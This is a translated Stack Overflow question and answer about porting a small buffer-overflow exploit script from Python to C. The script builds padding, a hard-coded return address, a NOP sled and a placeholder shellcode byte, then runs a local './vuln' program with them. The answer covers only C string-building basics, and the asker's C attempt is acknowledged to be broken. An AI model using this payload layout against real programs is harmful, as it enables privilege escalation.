簡體   English   中英

將 Python 程序轉換為 C:如何將字符乘以指定值並將其存儲到變量中?

[英]Converting Python program to C: How can I multiply a character by a specified value and store it into a variable?

在將 Python 中的小緩沖區溢出腳本轉換為 C 方面需要一般幫助。這是一個黑客工作,我正在努力使數據類型正確。 我可以只用一個警告來編譯所有內容:“初始化使指針從整數而不進行強制轉換- char *buff = ("%0*i", 252, 'A'); ” 這一行應該給變量 buff 252 個“A”字符的值。

我知道更改數據類型可以解決這個問題,但程序的其余部分依賴於作為指針char * 的溢出。 如果有人對我的程序的任何部分有任何提示,他們將不勝感激。

干杯,希夫

原始蟒蛇:

stack_addr = 0xbffff1d0
rootcode = "\x31"
def conv(num):
    return struct.pack("<I",num)
buff = "A" * 172 
buff += conv(stack_addr) 
buff += "\x90" * 30   
buff += rootcode  
buff += "A" * 22  
print "targetting vulnerable program"
call(["./vuln", buff])

轉換后的 C 代碼:

//endianess convertion
int conv(int stack_addr)
{
    (stack_addr>>8) | (stack_addr<<8);
    return(0);
}

int main(int argc, char *argv[])
{
    int stack_addr = 0xbffff1d0;
    int rootcode = *"\x31" 
    char *buff = ("%0*i", 252, 'A'); //give buff the value of 252 'A's
    buff += conv(stack_addr); //endian conversion
    buff += ("%0*i", 30, '\x90'); //append buff variable with 30 '\x90' 
    buff = buff + rootcode; //append buff with value of rootcode variable
    buff += ("%0*i", 22, 'A'); //append buff with 22 'A's
}

手動編寫具有所需字符數的字符串的最簡單方法。 使用您最喜歡的文本編輯器的復制粘貼功能。

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

您還可以使用 for 循環從單個字符構建它,如下所述。 但是,您可以跳過構建長字符串的部分,並將單個字符直接附加到最終字符串。 這可以通過兩種方式完成:使用strcat和不使用strcat 第一種方法更干凈一點:

char buff[400] = ""; // note: this should be an array, not a pointer!
// the array should be big enough to hold the final string; 400 seems enough
for (int i = 0; i < 252; i++)
    strcat(buff, "A"); // this part appends one string of length 1

函數strcat效率低下; 每次將字符串"A"附加到字符串時,它都會計算字符串的長度。 您不需要速度,但如果您決定有效地編寫它,請不要使用strcat ,並使用核心 C 語言將單個char (字節)附加到數組:

char buff[400]; // note: this should be an array, not a pointer!
int pos = 0; // position at which to write data
for (int i = 0; i < 252; i++)
    buff[pos++] = 'A'; // this part appends one char 'A'; note single quotes
...
buff[pos++] = '\0'; // don't forget to terminate the string!

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM